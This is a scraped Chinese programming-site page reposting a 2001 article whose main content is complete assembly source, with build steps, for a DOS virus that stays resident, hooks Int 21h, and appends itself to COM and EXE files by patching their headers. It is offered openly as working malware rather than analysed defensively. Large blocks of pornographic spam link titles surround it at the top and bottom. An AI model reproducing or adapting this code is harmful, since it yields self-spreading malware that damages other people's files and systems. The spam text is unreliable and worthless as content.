亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > Java > 正文

編寫感染COM與EXE文件的病毒

2019-09-06 23:33:22
字體:
來源:轉載
供稿:網友

                    Author: whg
Email: whg@whitecell.org
Homepage:http://www.whitecell.org
Date: 2001-11-29


;此程序是d由v0病毒改裝升級而來
;在DOS下才有一定的傳染能力
;此程序部分應用了32位編程
;制作方法如下
;tasm32 dv1;
;tlink dv1;
;Debug dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒程序
OFF equ Offset
DosMcb Struc ;Dos內存控制鏈結構(部分)
Flag db ? ;是'M'則不是最后一塊;是 'Z'則是最后一塊
Owner dw ? ;是008: 則是系統所有;是0則為未使用內存塊
Sizes dw ? ;本塊大小,按節計算(1節=10h字節)
DosMcb Ends
ExeHeader Struc ;Exe文件頭結構
Flags dw 'ZM';Exe文件標志
ModSize dw ? ;Exe文件最后一頁字節數
Pages dw ? ;Exe文件頁數(1頁為512字節)
Reloc dw ? ;Exe文件從定位項數
MeSize dw ? ;本文頭節數
MinMem dw ? ;該程序所須最小內存(節)
MaxMem dw ? ;該程序所須最大內存(節)
StartSs dw ? ;程序Sp初值
StartSp dw ? ;程序相對Ss初值
CheckSum dw ? ;文件頭檢查和
StartIp dw ? ;程序Ip初值
StartCs dw ? ;程序相對Cs初值
RelocOff dw ? ;從定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ;(病毒大?。?
VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的內存大?。?
.386
.model small
.code
org 100h ;按COM格式編寫
@@Start: ;病毒引導塊
pusha ;保存所有通用寄存器
mov ax,4d4dh
int 21h ;是否已經駐留內存(自定義中斷)
cmp ax,4d4dh
jz short @@ExecOldApp ;否,調用安裝模塊
call @@Install
@@ExecOldApp:
mov ah,2ch
int 21h ;得到系統時間
cmp cx,22*100h+30 ;(Cmp 時間:22:30)
jb short @@TestFlag ;不到22:30不調用顯示消息
call @@DisplayMsg ;調用表現塊
@@TestFlag:
clc ;預設為Clc指令,表示是Com文件(若在傳染時被改成Stc則是Exe文件)
jc short @@IsExeApp
@@IsComApp:
call @@GetOldComAppCode
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dos
dw 0000h ;這里為保存原COM文件頭部4字節信息
@@GetOldComAppCode:
pop si ;得到OldAppCode的地址
mov di,100h
cld
lodsd
stosd ;恢復原COM頭部4字節
popa ;恢復所有通用寄器
push word ptr 100h
ret ;去執行原COM程序
@@IsExeApp:
popa ;恢復所有通用寄器
cli ;改變堆棧指針時要關閉中斷
mov sp,es ;得到Psp( Sp=PSP段址)
add sp,10h
SpAddData dw 0c481h;0bch是add sp,xxxx指令
OldAppSs dw 000h ;原Exe文件Ss相對值
mov ss,sp ;計算出原程序堆棧并恢復
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令
OldAppSp dw 000h ;原Exe文件Sp值
sti ;從新開啟中斷
push ax
mov ax,es ;得到Psp( Ax=PSP段址)
add ax,10h
AxAddData db 005h ;05h是add ax,xxxx指令,計算原程序Cs值
OldAppCs dw 000h ;原Exe文件Cs相對值
movzx esp,sp ;轉化為32位[esp]式堆棧尋址
xchg ax,[esp] ;恢復ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆棧尋址
PushWordData db 068h ;068h是push word ptr xxxx指令
OldAppIp dw 000h ;原Exe文件Ip值
retf ;去執行原Exe程序
@@Install:
push ds
push es ;保存段寄存器
mov ax,ds
dec ax ;得到自己的MCB結構段址,它在程序的PSP前
@@ContFindLastMcb:
mov ds,ax
cmp ds:[Flag],'Z' ;是最后一塊嗎?
jz short @@FoundLastMcb
add ax,ds:[Sizes]
inc ax ;計算下一個MCB 的段址=本塊段址+本塊大小+1
jmp short @@ContFindLastMcb
@@FoundLastMcb:
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一塊大小減去病毒所須內存大小(節數)
add ax,ds:[Sizes]
inc ax ;計算出病毒在高端RAM的地址(即在最后一塊劃出的空間段址)
mov es,ax
xor di,di
push cs
pop ds ;復位數據段
call @@GetVirusBase
@@GetVirusBase:
pop si
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
mov cx,VirusSize
cld
rep movsb ;把病毒搬運到高端地址
sub ax,10h ;計算出高端病毒的段地址(為使病毒偏移對齊,所以減去10h)
mov ds,ax
@@ContInstall:
mov ax,3521h
int 21h ;取Int 21h的中斷向量,并保存
mov ds:OldInt21Seg,es
mov ds:OldInt21Off,bx
lea dx,@@NewInt21
mov ax,2521h
int 21h ;設新的Int 21h處理程序到@@NewInt21處
pop es
pop ds
ret
@@NewInt21: ;新Int21 h服務程序(傳染塊)
cmp ax,4d4dh
jnz short @@NextHook
iret ;是自定義中斷,直接返回
@@NextHook:
cmp ah,4bh
jz short @@MyBeCom
cmp ah,43h
jz short @@MyBeCom
cmp ah,3dh
jz short @@MyBeCom ;截獲4b,43,3d號Dos功能
@@JmpOldInt21:
cli ; 進入Int21h前,需要關中斷!
JmpFar db 0eah ;遠跳轉指令jmp xxxx:xxxx
OldInt21Off dw ?
OldInt21Seg dw ?
@@CallInt21: ; 模擬Int 21h指令
pushf
push cs
call @@JmpOldInt21
ret
@@MyBeCom: ;入口參數ds:dx=以零結尾的Com文件名字符串
pusha
push ds
mov si,dx
xor al,al
@@ContFindExtName: ;找擴展名
inc si
cmp [si],al
jnz short @@ContFindExtName
mov eax,[si-4]
or eax,20202020h ;轉化為小寫字母
cmp eax,'moc.' ;是.com文件嗎?
jz short @@IsComFile
cmp eax,'exe.' ;是.exe文件嗎?
jz short @@IsExeFile
@@ExitOpt:
pop ds
popa
jmp short @@JmpOldInt21
@@IsComFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打開COM文件
jc short @@OptComFalse ;失敗
mov bx,ax
push cs
pop ds ;復位數據段
mov ds:byte ptr[@@TestFlag],0f8h ;設為Clc指令,表示傳染的是Com文件
lea dx,OldAppCode
mov cx,4
mov ah,3fh
int 21h ;讀文件首部4字節
jc short @@CloseComFile
mov si,dx
cmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能僅由擴展名判斷)
jz short @@CloseComFile ;是就不感染
cmp byte ptr[si+3],'V';是否有已感染病毒標志
jz short @@CloseComFile ;是則說明該程序已經被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;將文件指針移到文件尾,返回dx:ax=文件長度
or dx,dx
jnz short @@CloseComFile ;文件太大不感染
mov dx,ax
add ax,VirusSize
jc short @@CloseComFile ;文件太大不感染
cmp ax,0fd00h
ja short @@CloseComFile ;文件太大不感染
sub dx,03 ;計算出Jmp Virus的偏移量
mov ds:JmpOffset,dx
lea dx,@@Start
mov cx,VirusSize
mov ah,40h
int 21h ;將病毒寫到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指針移到文件首
mov cx,04h
lea dx,@@JmpVirus
mov ah,40h
int 21h ;寫Jmp Virus與病毒Flag 4字節到文件首部
@@CloseComFile:
mov ah,3eh
int 21h ;關閉文件
@@OptComFalse:
jmp short @@ExitOpt
@@IsExeFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打開Exe文件
jc @@OptExeFalse ;失敗
mov bx,ax
push cs
pop ds ;復位數據段
mov ds:byte ptr[@@TestFlag],0f9h ;設為Stc指令,表示傳染的是Exe文件
lea dx,MyExeHeader
mov cx,size ExeHeader
mov ah,3fh
int 21h ;讀文件首部4字節
jc @@CloseExeFile
cmp ax,cx
jb @@CloseExeFile
mov si,dx
cmp word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能僅由擴展名判斷)
jnz @@CloseExeFile ;不是就不感染
cmp [si.CheckSum],'VV' ;是否有已感染病毒標志
jz @@CloseExeFile ;是則說明該程序已經被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;將文件指針移到文件尾,返回dx:ax=文件長度
cmp dx,8h
ja short @@CloseExeFile ;文件太大,可能是Windows應用程序
shl edx,16
mov dx,ax
push edx ;保存文件大小
shr edx,4
sub dx,[si.MeSize] ;計算病毒在該Exe程序中新的相對Cs
and ax,0fh ;計算病毒在該Exe程序中新的Ip值(0=<Ip<10h)
mov cx,dx ;cx=dx=新的相對Cs值
xchg [si.StartCs],dx
mov ds:[OldAppCs],dx ;修改相對Cs值,保存原相對Cs值
xchg [si.StartSs],cx
mov ds:[OldAppSs],cx ;修改相對Ss值,保存原相對Ss值
xchg [si.StartIp],ax
mov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值
xor ax,ax
xchg [si.StartSp],ax ;修改Sp值,保存原Sp值
mov ds:[OldAppSp],ax
mov [si.CheckSum],'VV';設置傳染標志
pop edx ;彈出文件大小
mov ecx,VirusSize
add edx,ecx ;計算感染后文件的大小
mov ax,dx
and ax,1ffh ;計算感染后文件的ModSize
mov [si.ModSize],ax
add edx,1ffh
shr edx,9 ;計算感染后文件的Pages
mov [si.Pages],dx
lea dx,@@Start
mov ah,40h
int 21h ;將病毒寫到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指針移到文件首
mov cx,size ExeHeader
lea dx,MyExeHeader
mov ah,40h
int 21h ;寫文件頭到文件首部
@@CloseExeFile:
mov ah,3eh
int 21h ;關閉文件
@@OptExeFalse:
jmp @@ExitOpt
@@JmpVirus:
JumpNear db 0e9h ;近轉移指令Jmp near xxxx
JmpOffset dw ?
VirusFlag db 'V' ;病毒標志為'V'字符
@@DisplayMsg:
pop dx
push dx
add dx,OFF @@Message-OFF @@TestFlag ;計算@@Message的偏移量
push ds
push cs
pop ds
mov ah,09h
int 21h ;顯示信息,“夜已深,你該睡覺了!”
pop ds
ret
@@Message:
db 0ah,0dh,07h
db 'Night is deep,you must go sleep!'
db 0ah,0dh,'$'
db 'Go Sleep Ver3.0 by Whg 2001.5.2'
@@End:
MyExeHeader db size ExeHeader dup(?)
@@MemEnd:
end @@Start


WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产成+人+综合+亚洲欧美丁香花| 在线观看日韩视频| 狠狠色狠狠色综合日日五| 欧美激情在线观看视频| 日韩亚洲国产中文字幕| www.欧美三级电影.com| 成人444kkkk在线观看| 国产精品91在线| 国产成人aa精品一区在线播放| 中日韩美女免费视频网址在线观看| 成人444kkkk在线观看| 色妞久久福利网| 亚洲第一偷拍网| 欧美精品少妇videofree| 国内精品小视频在线观看| 久久久国产91| 欧美中文在线免费| 日韩成人在线视频观看| 欧美亚洲伦理www| 性欧美视频videos6一9| 精品中文字幕在线观看| 亚洲a级在线观看| 成人中文字幕+乱码+中文字幕| 国产欧美一区二区三区在线看| 91香蕉嫩草神马影院在线观看| 97在线观看免费| 另类视频在线观看| 亚洲欧美综合精品久久成人| 亚洲尤物视频网| 国内伊人久久久久久网站视频| 最新的欧美黄色| 国产精品女人网站| 亚洲福利在线观看| 狠狠干狠狠久久| 岛国精品视频在线播放| 欧美日韩在线观看视频| 麻豆乱码国产一区二区三区| 国产精品1234| 精品香蕉一区二区三区| 欧美电影免费观看高清| 亚洲国产欧美自拍| 91最新国产视频| 欧美视频在线观看 亚洲欧| 国产一区二区三区直播精品电影| 亚洲精品福利免费在线观看| 亚洲精品xxx| 成人av在线亚洲| 最近2019年手机中文字幕| 日韩av电影院| 成人疯狂猛交xxx| 亚洲女人天堂成人av在线| 欧美日韩久久久久| 亚洲电影在线观看| 亚洲色在线视频| 欧美在线一级va免费观看| 久久亚洲国产精品| 一个人看的www久久| 国内成人精品视频| 国产精品亚洲综合天堂夜夜| 日韩精品在线私人| 久久精品在线视频| 国产精品日韩在线一区| 欧美精品福利视频| 成人免费看片视频| 另类图片亚洲另类| 2019中文字幕在线观看| 欧美日韩国产在线| 亚洲第一页自拍| 欧美国产日韩免费| 国内精品久久久久久影视8| 亚洲精品一区二区在线| 国产精品视频免费在线| 另类专区欧美制服同性| 国产精品扒开腿做爽爽爽视频| 欧美国产日韩中文字幕在线| 91高清在线免费观看| 欧美激情中文字幕在线| 亚洲三级黄色在线观看| 国产精品偷伦免费视频观看的| 中文字幕亚洲欧美日韩在线不卡| 日韩少妇与小伙激情| 日韩精品在线私人| 亚洲欧美色图片| 亚洲人成电影网站色xx| 在线播放日韩精品| 精品伊人久久97| 国产精品一区二区久久| 亚洲欧美成人一区二区在线电影| 姬川优奈aav一区二区| 国内精品久久久久久久| 亚洲一区二区三区在线免费观看| 国产日韩专区在线| 色妞欧美日韩在线| 国产精品9999| 成人激情电影一区二区| 亚洲第一色在线| 91在线观看免费| 久久久久www| 中文字幕亚洲欧美日韩2019| 最近2019中文字幕在线高清| 国产亚洲人成网站在线观看| 美女黄色丝袜一区| 精品中文字幕在线| 亚洲国产精品电影在线观看| 成人福利网站在线观看| 欧美激情亚洲国产| 久久久久久亚洲精品不卡| 国产精品一二三在线| 国产精品丝袜一区二区三区| 欧美国产日本在线| 日韩中文理论片| 欧美日韩精品二区| 国产精品扒开腿做爽爽爽视频| 欧美日韩精品中文字幕| 国外色69视频在线观看| 成人国产精品久久久| 久久av资源网站| 91九色精品视频| 日韩av在线天堂网| 欧美电影第一页| 国产成人亚洲综合91精品| 欧美国产欧美亚洲国产日韩mv天天看完整| 亚洲a中文字幕| 精品日韩视频在线观看| 国产精品情侣自拍| 国产精品久久久久一区二区| 日韩av免费网站| 国产精品一区=区| 91中文精品字幕在线视频| 久久免费视频在线| 俺去啦;欧美日韩| 欧美在线不卡区| 色老头一区二区三区在线观看| 亚洲欧美制服另类日韩| 亚洲成人久久电影| 92版电视剧仙鹤神针在线观看| 亚洲精品ady| 国产免费一区二区三区香蕉精| 日韩毛片在线看| 亚洲加勒比久久88色综合| 久久99热精品| 亚洲成人激情图| 亚洲石原莉奈一区二区在线观看| 亚洲电影免费观看高清完整版在线| 欧美最猛性xxxxx(亚洲精品)| 欧美性受xxxx黑人猛交| 26uuu另类亚洲欧美日本老年| 亚洲一区二区免费| 国产精品免费观看在线| 91九色视频导航| 国产精品久久久久7777婷婷| 国产精品视频白浆免费视频| 国产精品亚洲综合天堂夜夜| 国产精品久久久久久久久久小说| 亚洲精品丝袜日韩| 国产盗摄xxxx视频xxx69| 国产这里只有精品| 国产欧美在线视频| 久久中文字幕在线| 国产精品三级久久久久久电影| 日本人成精品视频在线| 中文字幕欧美日韩在线| 成人激情视频网| 日韩欧美极品在线观看|